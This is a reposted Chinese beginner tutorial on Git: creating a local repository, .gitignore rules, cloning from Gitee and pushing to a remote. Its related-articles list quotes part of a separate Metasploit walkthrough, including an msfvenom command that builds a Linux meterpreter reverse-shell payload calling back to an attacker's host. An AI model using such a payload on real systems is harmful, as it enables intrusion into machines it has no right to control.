【Git小白使用教程,一看就会用,快速上手Git(二——建立本地仓库和对Gitee或GitHub远程仓库的拉取和推送】

这篇具有很好参考价值的文章主要介绍了【Git小白使用教程,一看就会用,快速上手Git(二——建立本地仓库和对Gitee或GitHub远程仓库的拉取和推送】。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Git小白使用教程,一看就会用,快速上手Git(二——建立本地仓库和对Gitee或GitHub远程仓库的拉取和推送)

1、建立本地git仓库

1.1、先在本地创建一个文件夹用作本地仓库,里面可以放你的项目代码或者你想要上传到远程仓库的文件。

1.2、然后在文件夹内通过cmd打开终端命令行

git init
——初始化本地仓库,运行成功后,文件夹内会出现一个.git文件

git建立本地远程仓库,JAVA全栈学习路线,# git,git,gitee,github,intellij-idea,java

git建立本地远程仓库,JAVA全栈学习路线,# git,git,gitee,github,intellij-idea,java

也可以在文件夹内右击鼠标,选择git bash打开git命令运行

git建立本地远程仓库,JAVA全栈学习路线,# git,git,gitee,github,intellij-idea,java
git建立本地远程仓库,JAVA全栈学习路线,# git,git,gitee,github,intellij-idea,java

上面两种方式都可以初始化本地仓库

git status
——查看文件夹内所有文件状态
git status [filename]
——查看对应文件状态

1.3、在git版本目录下和.git目录同级目录建立.gitignore文件

.gitignore 文件是在git提交的时候用来屏蔽某些你不想提交上去的文件。
项目开发过程中,有时候不想把一些文件(如中间文件/编译文件等)提交到git上。这个时候就由.gitignore文件来筛选出不想提交的文件。所筛选的文件/夹将不会被追踪(tracked),push的时候 也不会上传到git上。
我们需要在提交Git之前,需要自己创建一个.gitignore文件,由于Windows下创建文件必须键入文件名,而要创建的.gitignore文件是没有文件名的,所以我们可以使用move命令来实现,
打开Git Bash ,使用touch .gitignore,创建出.gitignore文件,然后用编辑器编辑这个文件。

文件规则:

#:开头的行表示注释行
*:用来匹配零个或多个字符
*.a表示忽略.a文件;
*.[oa]表示忽略所有以.a和.o结尾的文件,
*~ 忽略所有以~结尾的文件;
D:/app/.git目录
D:/app/.gitignore文件 忽略文件
target/ .idea
*.iml
*.class

git建立本地远程仓库,JAVA全栈学习路线,# git,git,gitee,github,intellij-idea,java

等下在将本地仓库上传到远程仓库中会进行忽略设置文件上传演示

2、拉取Gitee或GitHub远程仓库到本地(以Gitee为例)

2.1、找到想要保存到本地的gitee项目复制链接进行拉取

git建立本地远程仓库,JAVA全栈学习路线,# git,git,gitee,github,intellij-idea,java

2.2、在本地进行git命令拉取

在本地需要保存远程仓库的文件夹内打开命令行执行克隆命令(拉取到本地后会自动对本地仓库进行初始化.git)

git clone 远程仓库地址
例如:git clone https://gitee.com/fpl1116/mydict.git

git建立本地远程仓库,JAVA全栈学习路线,# git,git,gitee,github,intellij-idea,java

2.3、可以看到运行命令后,已经成功的将远程仓库项目拉取到了本地,点进去就是远程仓库里面所有内容了

git建立本地远程仓库,JAVA全栈学习路线,# git,git,gitee,github,intellij-idea,java

3、将本地仓库推送到远程仓库Gitee或GitHub中(以Gitee为例)

3.1、先在Gitee或GitHub创建一个仓库

git建立本地远程仓库,JAVA全栈学习路线,# git,git,gitee,github,intellij-idea,java

新建仓库时注意对仓库进行初始化
git建立本地远程仓库,JAVA全栈学习路线,# git,git,gitee,github,intellij-idea,java

创建成功后可以看到仓库中除了README.md文件后别的什么东西都没有
想要将本地仓库上传到远程仓库大致上有两种方法

A、先将远程仓库拉取到本地或直接在本地初始化git仓库,在本地里面对拉取的文件进行修改后再push推送到远程仓库中实现推送更新
B、先将远程仓库拉取到本地或直接在本地初始化git仓库,然后将本地仓库以 分支 的形式上传到远程已有的仓库中

3.A、先将远程仓库拉取到本地或直接在本地初始化git仓库,在本地里面对拉取的文件进行修改后再push推送到远程仓库中实现推送更新(如果是从远程仓库拉取的项目,可以在本地修改后直接运行)

第一步:进入到对应的项目文件夹根目录中

git init //生成.git文件

第二步:将本地和远程厂库关联起来

git add .
git commit -m ‘提交信息’ -n
git push -u origin master //第一次初始化仓库时:-u 之后不用

第三步:在上一步可能会报下面错误

To https://gitee.com/all-ko/react.git
! [rejected] master ->master (fetch first)
error: failed to push some refs to’https://gitee.com/all-ko/react.git’
hint: Updates were rejected because the remote contains work that you do
hint: not have locally. This is usually caused by another repository pushing
hint: to the sameref. You may want to first integrate the remote changes
hint: (e.g.,‘git pull …’) before pushing again.
hint: See the ‘Note aboutfast-forwards’ in ‘git push --help’ for details.

原因:是因为github中的README.md文件不在本地代码目录中,可以通过如下命令进行代码合并

git pull --rebase origin master
最后运行代码:
git push origin master //注意此刻推得分支即为想要将文件放的分支,默认master是主分支

3.B、先将远程仓库拉取到本地或直接在本地初始化git仓库,然后将本地仓库以 分支 的形式上传到远程已有的仓库中

git建立本地远程仓库,JAVA全栈学习路线,# git,git,gitee,github,intellij-idea,java

下面是刚才设置的.gitignore文件

git建立本地远程仓库,JAVA全栈学习路线,# git,git,gitee,github,intellij-idea,java

可以看到因为上面设置.gitignore文件后忽略上传.jpg文件,所以在这里就没有将文件夹内的.jpg文件进行推送。(3.A推送方法也一样)

git建立本地远程仓库,JAVA全栈学习路线,# git,git,gitee,github,intellij-idea,java
git建立本地远程仓库,JAVA全栈学习路线,# git,git,gitee,github,intellij-idea,java

已经成功推送到远程仓库的分支中

git建立本地远程仓库,JAVA全栈学习路线,# git,git,gitee,github,intellij-idea,java
git建立本地远程仓库,JAVA全栈学习路线,# git,git,gitee,github,intellij-idea,java文章来源地址https://www.toymoban.com/news/detail-757201.html

到了这里,关于【Git小白使用教程,一看就会用,快速上手Git(二——建立本地仓库和对Gitee或GitHub远程仓库的拉取和推送】的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Windows 11 安卓子系统安裝教程,保姆级别一看就会!

    前言 模拟器与win11内置的安卓子系统相比,那是一个天一个地,比模拟器香多了。windows 11 自带安卓子系统发布已经有一段时间了,但是目前并没有开放给中国用户,因此、下面这个教程,教大家如何在windows 11上安装安卓子系统,安装子系统后,在windows电脑上直接就能安装安

    2024年02月13日
    浏览(54)
  • git 仓库两种代码拉取方式及部分命令——大白话超详细一看就会

    git 项目拉取 方法一: 1,去官网安装git; 2,在文件夹右键点击打开菜单 选择Open Git Bash here 打开git命令框; 3, 第一次拉取需要设置,如果不是请忽略该步骤 使用git config --global user.name “名字”;git config --global user.email “邮箱”;设置你的个人信息; 4,输入git clone http:

    2024年04月16日
    浏览(46)
  • 一看就会的React入门

    目录 简介 入门案例 直接创建  函数式创建 类实例创建   组件实例三大核心属性 state 代码演示  props refs 1). Facebook开源的一个js库 2). 一个用来动态构建用户界面的js库 3). React的特点     Declarative(声明式编码)     Component-Based(组件化编码)     Learn Once, Write Anywhere(支持客户

    2024年02月05日
    浏览(50)
  • 超详解“二分法查找”,一看就会!

    目录 一、 二分法概念用途 二、 超详思维图解 三、  超详使用方法实现代码运行操作 四、   总结 五、   结语 一:二分法概念用途  什么是二分法?有什么作用?一般用在何处? 概念: 二分查找法算法,也叫折半查找算法(对半处理会提高寻找目标数字的效率); 作用

    2024年02月07日
    浏览(62)
  • Windows下Apache安装步骤(一看就会)

    Apache HTTP Server (简称 Apache ) 是Apache软件基金会的一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩展,将Perl/Python等解释器编译到服务器中。 下面本

    2024年02月02日
    浏览(50)
  • vs背景和主题设置(一看就会,简单实用)

    学习编程是个漫长的过程,设置一个自己喜欢的背景,可以使自己编写代码的时候更舒服。马上行动起来,设置一个自己喜欢的背景吧。 分享一下我自己的背景: 1)扩展—管理扩展 2)在搜索栏里输入:background—点击下载ClaudialDE—加载完毕后,退出vs,重新进入。 3)重新

    2024年02月12日
    浏览(48)
  • 创建JavaWeb简单项目(超级详细、一看就会)—— 1

    在编写我们这个简单的JavaWeb项目之前,我先来介绍一下本项目的项目环境。 本项目是基于JavaWeb的开发环境,具体使用了以下技术和工具: JavaWeb:JavaWeb是Java平台上的Web开发技术,它包括了Servlet、JSP、JavaBean、JDBC等技术。 Servlet:Servlet是JavaWeb中的一个组件,它可以接收HTT

    2024年02月08日
    浏览(69)
  • Linux部署docker(最详细docker,一看就会)

    一款产品:开发...测试..上线,三套环境! 例如:发布一个项目(jar+redis mysql jdk等),项目能不能带上环境安装一起打包 传统:java -- apk(应用)-- 发布(应用商店)--张三使用apk -- 下载安装即可使用 现在:java -- jar(环境)-- 打包项目带上环境(镜像)-- (docker仓库:商店

    2024年02月09日
    浏览(47)
  • msf--Linux反弹shell--一看就会的实验

    环境如下 vps :Linux ubuntu 4.15.0-180-generic (已经打开8989端口) win:Windows Feature Experience Pack 120.2212.4180.0(可以随意) 靶机:Linux ubuntu 4.18.0-25-generic 过程如下 1.在vps里面生成木马  msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=8989 -f elf asd  2.将木马下载到本机桌面 sz a

    2023年04月13日
    浏览(47)
  • 如何将.ipynb文件转换成.py文件 一看就会

    1.打开cmd (快捷键 win+r ,在打开的窗口中输入cmd即可) 2.在弹出来的cmd窗口中输入:pip install jupyter notebook    然后等待下载安装。     这一步是jupyter notebook 的安装。 3.安装完成之后,在本cmd窗口继续输入:jupyter notebook,选择浏览器打开窗口即可。 4.在弹出来的网页中,点

    2024年02月11日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包